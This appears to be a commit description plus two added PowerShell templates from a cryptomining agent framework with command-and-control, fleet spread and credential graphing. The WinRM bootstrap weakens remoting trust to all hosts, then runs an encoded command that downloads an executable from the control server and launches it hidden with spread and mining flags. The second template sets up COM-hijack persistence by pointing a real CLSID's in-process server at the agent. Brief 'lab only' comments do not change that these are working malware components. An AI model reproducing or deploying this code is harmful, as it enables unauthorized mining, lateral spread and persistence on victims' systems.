Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

templates/spread/winrm/bootstrap.ps1

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+# WinRM bootstrap — owned/lab machines only. Enable remoting + encoded agent registration.
+# Placeholders: {{SERVER_URL}} {{BUILD_ID}} {{CAMPAIGN}} {{QUERY_SUFFIX}} {{GET_QUERY_SUFFIX}}
+# Mining policy is NOT embedded — agent registers to C2 and pulls server config.
+$ErrorActionPreference = 'SilentlyContinue'
+$ProgressPreference = 'SilentlyContinue'
+
+function Enable-WinRMBootstrap {
+  Enable-PSRemoting -Force -SkipNetworkProfileCheck | Out-Null
+  Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force | Out-Null
+}
+
+$bootstrap = @'
+$ErrorActionPreference = 'SilentlyContinue'
+if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
+$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
+$dest = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName() + '.exe')
+try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 1 }
+if (-not (Test-Path $dest) -or (Get-Item $dest).Length -lt 1024) { exit 1 }
+Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
+'@
+
+Enable-WinRMBootstrap
+$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($bootstrap))
+powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded
+
+# Remote one-liner (run from jump box with creds):
+# Invoke-Command -ComputerName TARGET -ScriptBlock { powershell -EncodedCommand '<paste $encoded>' }

templates/spread/winrm/com-hijack.ps1

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+# OPTIONAL — COM hijack persistence under benign CLSID (owned machines only).
+# Default OFF. Enable only when {{COM_HIJACK}}=true in export or uncomment below.
+# Uses InprocServer32 redirect to agent binary — high visibility to EDR; lab use only.
+$ErrorActionPreference = 'SilentlyContinue'
+
+if ('{{COM_HIJACK}}' -ne 'true') {
+  Write-Host 'COM hijack template disabled (COM_HIJACK not true).'
+  exit 0
+}
+
+# Benign CLSID: MMDeviceEnumerator (commonly present — replace with your lab-only choice)
+$clsid = '{BCDE0395-E52F-467C-8E3D-C4579291692E}'
+$agentPath = '{{AGENT_PATH}}'
+if (-not (Test-Path $agentPath)) {
+  Write-Error "Agent path missing: $agentPath"
+  exit 1
+}
+
+$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
+New-Item -Path $base -Force | Out-Null
+Set-ItemProperty -Path $base -Name '(Default)' -Value $agentPath
+Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
+Write-Host "COM hijack registered under $clsid -> $agentPath"